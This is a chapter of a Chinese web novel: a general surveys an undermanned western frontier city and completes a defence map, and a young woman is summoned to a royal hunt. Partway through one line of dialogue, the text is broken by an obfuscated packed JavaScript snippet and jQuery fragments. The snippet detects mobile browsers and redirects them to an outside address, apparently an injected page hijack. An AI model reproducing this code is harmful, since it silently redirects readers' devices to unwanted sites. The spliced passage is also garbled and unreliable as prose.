北疆逗留不过数日,便要再次踏上赶往西境的路。
与北疆不同,西境之地,尽是荒寒。
入目便是无边戈壁,在褐黄砂石的席卷下,直铺到天边尽头,连棵像样的树木都难寻。
除了驻守大军,但凡踏足西境的,多是亡命商旅或被贬流放之人。
白日里赤日当空,热风携着细沙扑面,刮在脸上像利刃割肌。入夜则寒气急降,冷月高悬,风掠过空旷的戈壁,发出诡异声响,听得人头皮发麻。
西境偏远,朝廷管控本就松散,眼下他们即将入城,也未见有人相迎。
“将军,可要我前去通报?”侍卫颔首握拳,问向眼前御马之人。
孟槐安一扫城楼,握紧手中缰绳,微微摇头:“不必。”
这种光景,通报也是多余。
马蹄踏在城外干裂的土地上,只发出几声沉闷的轻响,他抬手示意队伍继续前行。
城内街道远比想象中萧索,两旁屋舍低矮简陋,泥铸的土坯墙被风沙磨得发旧,偶有几家敞开的门户,也只见黑漆漆一片,并无人烟。
“将军,这怎么一个人影都没有?”侍卫驾马凑近孟槐安说道。
风沙在空荡的街面打着旋儿,偶有几声犬吠,很快又被无边的寂静吞下。
孟槐安端坐马上,目光平静扫过两侧,城守府的方向遥遥在望,檐角歪斜,旗帜陈旧,一眼便知此处常年疏于打理。
他并未多言,只轻轻一提缰绳,策马前行。马蹄踏过尘土飞扬的长街,留下一行清晰印记,在这荒疏西境里,显得格外突兀。
一行人径直入了城守府,府内廊柱剥落,连值守的士兵都寥寥无几,全然不似一处边防要地该有的气象。
迎面而来的城守刚接到令牌,又见孟槐安一身戎装,以为他就是新任主将,慌忙上前行礼。
廊下之人并未寒暄,只直入正厅落座:
“方才我一路过来,只瞧屋舍、不见人烟,是为何?”
“回将军,旧部上月已奉旨东调,原该接防的边军迟迟未至,导致交接空悬至今。”
他停顿片刻,继续开口:“属下无奈,只得收拢城中老弱残卒守城。”
孟槐安一愣,想过西境荒凉,却也没料到竟空虚至此,他眯了眯眼:
“如今守城多少人?”
城守张了张嘴,为难地说:“现下…现下只勉强凑得六百余人守城。”
“六百?”
“本将军刚从北疆赶来,此次前来是奉陛下之命勘察西境兵备之实,北疆协防需对接其他战区,布防图可在?”
城守也不多疑,忙转身从内室取出一个旧木盒。打开后,里面被粗麻纸小心翼翼裹着,他双手捧着,恭恭敬敬呈到案前。
“将军,这便是西境布防简图了,只是旧守将走得仓促,图纸还没来得及细整,眼下只余这一份残卷。”
孟槐安接过残卷,伸手展开,粗糙潦草的纸张上,多处标注已被墨迹晕染得模糊不清,隘口标注更是简略,就连屯粮处的具体范围都只画了个模糊的圈。
他用手点了点一处烽燧标记,问道:“此处烽燧,距城多少里?”
城守俯身,惶恐地说:“属下也不知,旧守将走得急,并未交代完全,城中老弱也大多不是本地人,不清楚布防细节。”
孟槐安默然合上图纸。
没想到这西境边城,看似是边防要地,实则只是一座形同虚设的险地。
他抬眼看了一旁侍立之人:“布防图虽不在,但兵备之事不得不察,找个本地久住的来,我亲自问话。”
城守退下后,他又吩咐手下人:
“派几个人沿城墙走一圈,就说陛下心系边关、体察民情,看看垛口、防御工事、屯兵点是否与图相符。”
——
不多时,城守便带来个面色黝黑的老卒上前,孟槐安将图纸收起递还回去,语气温和问道:“守城多久了?”
老卒一怔,鞠躬道:“回将军,快二十年了。”
“西境风沙这般大,平日里守城应当耗神,辛苦你们了。”
闻听此言,老汉热泪盈眶,连连叹道:
“将军折煞,其他地方还好,只是这西城一段的确难熬,墙薄风硬,又正对着戈壁开阔处,日夜都不敢松懈。”
西城为防御正面,图纸上标注此处薄弱,那想来布防图并无问题。
孟槐安微微点头,又随口道:“白日酷热尚可支撑,夜里风寒,你们轮值时,往城外远望可还方便?”
“瞭望倒也方便,只是城北那片戈壁滩,夜里常有风沙迷眼,要看只能靠东北那座老烽燧,站得高,才能望得远。”
“哦?那若是遇着警讯,传递起来可会延迟?”
“迟不得。烽烟一起,东西两处戍堡便会接应,不过如今人少,两处戍堡都空着,只剩些破旧营垒。”
孟槐安静听片刻后,又随意问了句:“城外可有就近取水之处?万一被人围了,不至于断了根基。”
老卒老实答道:“城西戈壁深处就有处暗泉,只是路途隐蔽,寻常人寻不到,咱们守城之人都记在心里。”
孟槐安点点头,吩咐他下去歇息。
待厅中只剩近身亲随,他才从怀中缓缓取出那卷自己随身携来、已然半成的布防图,在案上轻轻展平。
他执起炭笔,一一补充完整:
西城为防务薄弱点,城北视野受阻,需登东北烽燧瞭望。东西戍堡早已空无一人,图纸却仍标注驻军,实为虚设。城西暗泉为守城命脉,需妥善守护。
补充完毕,他将图纸仔细收好,转身登上城楼。
无边戈壁在眼下铺展,地势起伏隐约可见,方才残卷所标记的隘口方位,与眼前实景在脑海中逐一叠合对照。
他低下头,目光落在腰间悬着的香囊上,灯笼模样小巧可爱,是临行前她亲手塞给他的。
一缕淡淡的沉香萦绕鼻尖,漫过尘沙与疲惫,也安抚这一路孤寂难安的心。
“该回去了。”
——
与孟槐安一别已快两月。
这些日子里,宋杳日日勤勉训练,不敢有半分松懈,就怕哪天系统安排任务下来。
结果等到现在,人都要回来了,也没收到任何命令。
现在的她不仅能轻松举起两块玄铁,甚至抱着深蹲都不在话下。别说她,就是天天跟在一旁的霜降,现在也能举起一块。
“霜降,爹爹最近都在忙什么,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574196|204805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎的都不见他人?”她回到亭子,气定神闲地呷口温茶问道。
霜降放下手中针线,拿起蒲扇为她送凉:
“小姐忘了,明日便是天子郊祀前的围猎大典,想来老爷正忙着朝廷交办的筹备事宜,整日在外奔波,自然是早出晚归的。”
“狩猎?”闻此,宋杳眼睛一亮,“那我们也能跟着去瞧瞧吗?”
霜降摇摇头,语气笃定:“朝规森严,皇家围猎是君臣骑射的肃穆场合,寻常官员女眷尚且不得擅入,何况咱们商贾人家,自是不能去的。”
宋杳听罢,肩头微垮,惋惜一声:“哎呀,日日待在这院子里,我都快闷坏了。”
既不能寻欢作乐,又不能攻略任务,只能每天胆战心惊地抱着两块铁反复深蹲,这换谁不闷得发慌。
霜降在一旁瞧她这样抱怨,忍不住打趣笑道:“小姐,怕不是想孟公子了。”
“瞎说什么呢,臭丫头。”她嘴上嗔怪着,人已经跟着起身,作势要伸手去挠霜降的痒。
身后人往后一缩,灵巧躲开。
两个人闹成一团,一个追一个躲,霜降笑得花枝乱颤,嘴里还不肯认输:
“分明就是,还不让人说了!”
二人正追闹得不可开交,院里忽然传来一声尖细又庄重的唱喏,隔着院门遥遥传来:
“传陛下口谕——召宋杳姑娘,明日随驾狩猎!”
笑声戛然而止。
门外走进一名身着浅蓝内侍服的总管太监,步履从容,面色平和,抬手略一行礼,语气恭敬道:
“姑娘预备着,明日一早随宫车同往围场便是。”
方才还嬉戏打闹的两人,赶忙敛了乱发与笑意,规矩站好。
宋杳垂首轻声:“臣女谢陛下隆恩。”
那太监见状微微颔首,又吩咐几句明日晨起的事宜,便要离去。
宋杳见状忙上前,怯声问:
“公公,为何是我?”
太监浅笑一声:“宋姑娘,这天子圣意,岂是咱们做奴才的敢妄自揣度的。”
宋杳一听不再多问,只拔下珠钗手串,又凑近些,往那人手里一塞,客气说:
“公公辛苦跑一趟,这点薄礼,权当买杯清茶。只是民女初次随驾,心中实在惶恐,还望公公指点一二。”
那太监见她也是个明白人,并不推诿,只悄声叮嘱:“姑娘且宽心,令尊督办江南漕粮有功,陛下一直记在心里,特许此恩典。往后的福气,还长着呢,不必这般紧张。”
送走传话太监后,宋杳这才琢磨起最后那句提点来,她喃喃嘀咕道:
“江南?”
“小姐,可是哪儿不对?”
宋杳没回应,只神情凝重地点过头:“若是因为爹爹有功赏赐,早该提前知会,断没有临行前特意通知的道理。”
“小姐意思是?”
“或许随驾要见我的人不是陛下,而是另有其人。”
“那此行可会危险?我听旁人说狩猎场都是猛虎凶兽。”经历三番四次遇刺后,霜降也变得谨慎起来。
宋杳轻轻刮过她鼻尖,安慰道:“这些都是我的猜测。就算是真的,天子眼下,想来那人不敢怎样。何况爹爹也在,别怕。”